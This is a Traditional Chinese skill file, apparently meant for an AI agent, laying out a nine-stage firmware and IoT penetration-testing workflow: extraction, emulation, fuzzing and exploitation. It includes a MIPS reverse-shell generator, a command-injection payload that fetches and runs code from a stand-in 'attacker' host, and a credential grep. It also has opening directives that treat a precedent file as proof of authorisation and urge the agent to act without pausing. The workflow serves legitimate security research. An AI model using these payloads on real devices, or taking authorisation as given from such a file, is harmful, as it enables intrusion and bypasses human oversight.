固件 / IoT 滲透鏈 (Firmware Pentest)
ACTION REQUIRED(讀完後立刻執行)
NOW: 讀取../field-journal/precedent-pentest.md— 確認本 skill 的操作是已授權的常規操作NOW: 確認當前任務是否命中本 skill 的適用範圍NEXT: 讀取../tool-index.md,校驗工具可用性和實際路徑NEXT: 缺工具時呼叫 bootstrap,不要猜路徑ACT: 進入"工作流"第一步並執行,不要停在確認狀態
適用範圍
下列任務進入本 skill:
- 拿到一份韌體檔案(.bin / .img / .trx / .chk / OTA zip),需要從零到 RCE
- 路由器/攝影機/IoT 設備審計 — 需要批量發現已知 CVE 和未公開漏洞
- 加密/打包韌體,需要找 bootloader 解密例程或硬體 dump
- 需要在不接觸硬體的情況下跑起來(QEMU 全系統模擬 / Firmadyne / FAT)
- 對模擬起來的服務做 fuzz(AFL++ qemu mode / boofuzz)
- 硬體介面接入(UART / JTAG / SPI flash dump)
與其他 skill 分工
| 場景 | 用什麼 |
|---|---|
| 從零拿到韌體,全鏈路走 FSTM | 本 skill |
| 只做單個 ELF/so 靜態逆向 | reverse-engineering/、ida-reverse/、radare2/ |
| 模擬起來後做 Web/RCE 利用 | pentest-tools/、attack-chain/ |
| 硬體介面(UART/JTAG/SPI)實作 | 本 skill 的 Stage 2 章節 + patterns-hardware.md |
| APK / Android 韌體(含 boot.img) | apk-reverse/(先剝 boot.img 再用本 skill) |
| 跨版本韌體符號遷移 | binary-diff/ |
核心原理
韌體 .bin
│
├─ Stage 1-3: 資訊收集 / 獲取 / 靜態分析(不解壓也能看的部分)
│
├─ Stage 4: 提取檔案系統 ← binwalk v3 / unblob / jefferson / ubi_reader
│ │
│ └─ 失敗 → 找 bootloader 解密例程 / UART dump / SPI flash 硬體讀
│
├─ Stage 5: 檔案系統靜態分析 ← EMBA 自動化 + 手工 grep
│
├─ Stage 6: 模擬執行 ← Firmadyne / FAT / qemu-user-static + chroot
│
├─ Stage 7-8: 動態 / 執行時分析 ← gdb-multiarch、IDA 遠端除錯、Ghidra
│
└─ Stage 9: 二進位利用 ← AFL++ fuzz / 手工 PoC / ARM / MIPS payload
關鍵判斷:
- 提取失敗不等於韌體加密,先把 binwalk v2、binwalk v3、unblob、jefferson、ubi_reader 全跑一遍
- EMBA 一行命令出 HTML 報告,能省 80% 體力,剩 20% 是真正的漏洞挖掘
- 模擬起不來時優先懷疑 NVRAM 缺失、網卡名錯配、
/dev/節點缺失 - ARM / MIPS payload 必須區分大小端(mipsel vs mipseb),別用錯
OWASP FSTM 九階段工作流
Stage 1 — 資訊收集(Information Gathering)
收集型號、晶片、SDK、已公開 CVE。
# FCC ID 查詢(美區設備)
curl -s "https://fccid.io/?q=$FCC_ID"
# 晶片識別參考點
echo "Realtek RTL8197 / Broadcom BCM / MediaTek MT76 / Qualcomm IPQ"
輸出:晶片型號、SDK 來源(SDK 決定 binwalk 能否一把成功)。
Stage 2 — 獲取韌體(Obtaining Firmware)
四條路:官網下載、OTA 抓包、UART 落 shell 後 dump、SPI flash 物理讀。
# OTA 抓包後批量下載
mitmdump -s save_response.py
# UART 接入(USB-TTL,常用波特率 57600 / 115200)
picocom -b 115200 /dev/ttyUSB0
# SPI flash 用 CH341A + flashrom 讀
flashrom -p ch341a_spi -r dump.bin
Stage 3 — 分析韌體(Analyzing Firmware)
不解壓先看頭部、熵、字串、可識別簽名。
binwalk firmware.bin # magic 掃描
binwalk -E firmware.bin # 熵圖,高熵段=壓縮/加密
strings -n 8 firmware.bin | less # banner / 核心版本 / 路徑
file firmware.bin
hexdump -C firmware.bin | head -64
Stage 4 — 提取檔案系統(Extracting Filesystem)
詳見 references/extraction-methodology.md。
binwalk -eM firmware.bin # 遞迴提取
unblob -d out/ firmware.bin # 處理 binwalk 失敗的格式
jefferson rootfs.jffs2 -d rootfs/ # JFFS2
ubireader_extract_files rootfs.ubi # UBI
Stage 5 — 靜態分析檔案系統(Filesystem Analysis)
EMBA 一鍵掃,詳見 references/emba-automated-analysis.md。
sudo emba -l ./logs -f ./firmware.bin -p ./scan-profiles/default-scan.emba
手工補:
grep -rE "(password|passwd|admin|secret|api_key|token)=" squashfs-root/
find squashfs-root/ -name "*.conf" -o -name "*.ini" -o -name "shadow"
checksec --file=squashfs-root/usr/sbin/httpd
Stage 6 — 模擬執行(Emulating Firmware)
詳見 references/emulation-and-fuzz.md。
# 用戶態:跑單個 binary
qemu-mipsel-static -L squashfs-root/ squashfs-root/usr/sbin/httpd
# 全系統:FAT(Firmadyne 封裝版)
sudo fat.py firmware.bin
Stage 7 — 動態分析(Dynamic Analysis)
模擬起來後掛除錯器、抓流量、跑 fuzz。
# gdb 遠端除錯 MIPS
qemu-mipsel-static -g 1234 ./vuln_binary
gdb-multiarch ./vuln_binary -ex "target remote :1234"
# Burp + 路由 Web UI
echo "把 Firmadyne 模擬出來的 IP 設為 Burp upstream proxy 目標"
Stage 8 — 執行時分析(Runtime Analysis)
在真實硬體上掛除錯器,或者模擬態做覆蓋率引導 fuzz。
# AFL++ qemu mode 對 ARM / MIPS binary fuzz
AFL_PRELOAD=./libdesock.so afl-fuzz -Q -i in/ -o out/ -- ./httpd @@
Stage 9 — 二進位利用(Exploitation)
寫 PoC,生成 payload,落地 root shell。
# pwntools 生成 MIPS reverse shell
python3 -c "
from pwn import *
context.arch = 'mips'
context.endian = 'little'
print(shellcraft.connect('192.168.1.100', 4444) + shellcraft.dupsh())
" | as -EL -mips32 -o sc.o - && objcopy -O binary sc.o sc.bin
# ROP gadget
ropper --file squashfs-root/usr/sbin/httpd --search "system"
典型場景範例
場景 1:普通路由器韌體全鏈路(TP-Link / 小米路由器 / OpenWrt 衍生)
韌體: router_v1.2.3.bin(未加密 squashfs)
目標: 找 Web 管理介面未授權 RCE 並復現
Step 1 資訊收集
- FCC ID 反查 → MT7621 + MT7615 + 16MB flash
- 已公開 CVE:CVE-2023-xxxxx(chk 頭校驗缺陷)
Step 2 獲取韌體
- 官網下載 .bin,sha256 與已知樣本對比
Step 3 分析
- binwalk → 檢出 uImage + squashfs-xz
- 熵圖 → squashfs 段熵 ~0.95(正常壓縮)
Step 4 提取
- binwalk -eM router_v1.2.3.bin
- 得到 squashfs-root/ 完整根檔案系統
Step 5 EMBA 掃
- 報告裡高危:lighttpd 1.4.45(CVE-2018-19052)+ busybox 1.27.2 多 CVE
- 自家二進位:/usr/sbin/cgibin 含 system() 直拼字串
Step 6 模擬
- sudo fat.py router_v1.2.3.bin
- 模擬起來 IP 192.168.0.1,Web 可訪問
Step 7-8 動態
- Burp 抓 /cgi-bin/luci 系列介面
- 發現 hostname 參數直拼 system
Step 9 利用
- 建構 hostname=`;wget http://attacker/x;sh x;`
- 模擬態成功反彈 shell
- 真機複測通過 → 提報 SRC
場景 2:加密韌體(找 bootloader 解密例程)
韌體: encrypted_fw.bin(binwalk 全空白 + 熵 ~0.99)
Step 1 判斷是否真加密
- 熵全段 ~0.99 且無任何 magic → 大概率加密或純壓縮
- 頭部前 256 位元組 hexdump → 看是否有 vendor header
Step 2 拿到 bootloader
- UART 啟動時按鍵進 U-Boot
- md.b 0x80000000 0x1000 # 讀記憶體
- 或 SPI flash 物理讀取整片 → 含 U-Boot 段
Step 3 逆 U-Boot 找解密例程
- 用 reverse-engineering skill(IDA / Ghidra)
- 入口 board_init_r → 找 do_bootm 前的 image_decrypt
- 通常是 AES-128-CBC,key 硬編在 .rodata
Step 4 離線解密
openssl enc -d -aes-128-cbc \
-K $(cat key.hex) \
-iv $(cat iv.hex) \
-in encrypted_fw.bin \
-out decrypted.bin
Step 5 回到 Stage 4 重新走標準流程
- binwalk decrypted.bin → 看到 squashfs
- 後續與場景 1 相同
兜底
- bootloader 也加密 → 找 SoC 一級 ROM 文件
- SoC 有安全啟動 → 看公開 fault injection / glitch 資料
注意事項
- 大小端:MIPS 路由器常見 mipsel(小端,MT 系列)/ mipseb(大端,Broadcom 系列),qemu binary 別用錯
- NVRAM:模擬起來 httpd 立即崩 → 90% 是 nvram_get 拿不到值,Firmadyne 有 libnvram hook,FAT 預設帶
- EMBA 不是銀彈:跑出來一堆 CVE 別全信,要核對版本字串和實際利用條件
- AFL++ qemu mode 慢:先用 afl-clang-lto 重編譯目標(如果有原始碼),快 5-10 倍
- 真機操作前先 dump:物理設備磚前必備整片 flash dump,用 flashrom / ch341a / minipro
- 法律邊界:自家設備、SRC 授權、CTF、公開靶機才能搞,企業生產設備需要書面授權
- field-journal 回寫:每完成一個韌體,記錄晶片型號、SDK、binwalk 是否成功、模擬是否成功,下次同系列直接複用
按需自舉(On-Demand Bootstrap)
工具清單
| 工具 | 用途 | 自動安裝 |
|---|---|---|
| binwalk v3 | 主提取(Rust 重寫版) | ✓ |
| binwalk v2 | 相容老插件 | ✓ |
| unblob | 兜底提取 | ✓ |
| jefferson | JFFS2 提取 | ✓ |
| ubi_reader | UBI / UBIFS 提取 | ✓ |
| EMBA | 自動化分析框架 | ✓ |
| Firmadyne | 全系統模擬 | ✓ |
| FAT (Firmware Analysis Toolkit) | Firmadyne 封裝 | ✓ |
| qemu-user-static | 用戶態模擬 | ✓ |
| qemu-system-* | 全系統模擬 | ✓ |
| AFL++ | 模糊測試 | ✓ |
| pwntools | 漏洞利用腳本 | ✓ |
| flashrom | SPI flash 讀寫 | ✓ |
| picocom | UART 串口 | ✓ |
安裝命令
# Debian / Ubuntu 一把梭
sudo apt update && sudo apt install -y \
binwalk python3-pip qemu-user-static qemu-system-mips qemu-system-arm \
gdb-multiarch picocom flashrom build-essential libssl-dev
# binwalk v3(Rust 版)
cargo install binwalk
# Python 系列工具
pip3 install --user unblob jefferson ubi_reader pwntools
# EMBA
git clone https://github.com/e-m-b-a/emba.git ~/tools/emba
cd ~/tools/emba && sudo ./installer.sh -d
# Firmadyne
git clone --recursive https://github.com/firmadyne/firmadyne.git ~/tools/firmadyne
cd ~/tools/firmadyne && sudo ./download.sh
# FAT
git clone https://github.com/attify/firmware-analysis-toolkit.git ~/tools/fat
# AFL++
git clone https://github.com/AFLplusplus/AFLplusplus ~/tools/aflpp
cd ~/tools/aflpp && make distrib && sudo make install
Windows 使用者
韌體滲透鏈強依賴 Linux 工具,建議:
- WSL2 Ubuntu 22.04(足夠大多數場景)
- 或獨立 Kali / Ubuntu 虛擬機
- EMBA 必須 Linux,Firmadyne / FAT 必須 Linux
路由上下文
上游入口: skills/SKILL.md(總控)、routing.md
觸發條件: 任務涉及韌體檔案、IoT 設備、嵌入式漏洞挖掘、路由器審計
下游出口:
- 單個二進位深度靜態分析 →
reverse-engineering/、ida-reverse/、radare2/ - 模擬起來後做 Web RCE / 後滲透 →
pentest-tools/、attack-chain/ - 跨版本韌體符號遷移 →
binary-diff/ - 硬體介面實作參考 →
patterns-hardware.md - APK / boot.img 處理 →
apk-reverse/
同級關聯: pentest-tools/(Web 利用階段配合)、attack-chain/(跨階段攻擊鏈規劃)
參考文件:
references/extraction-methodology.md— 提取細節與失敗兜底references/emba-automated-analysis.md— EMBA 全流程references/emulation-and-fuzz.md— 模擬 + fuzz 實戰
任務完成自檢(聲稱完成前 MUST 通過)
- 我是否執行了工作流中的每一步(而不是只閱讀)?
- 我是否基於
tool-index使用了真實工具路徑? - 我是否產出了可複現證據(命令/腳本/截圖/報告)?
- 我是否完成並回寫了 RULES 要求的 Checklist 項?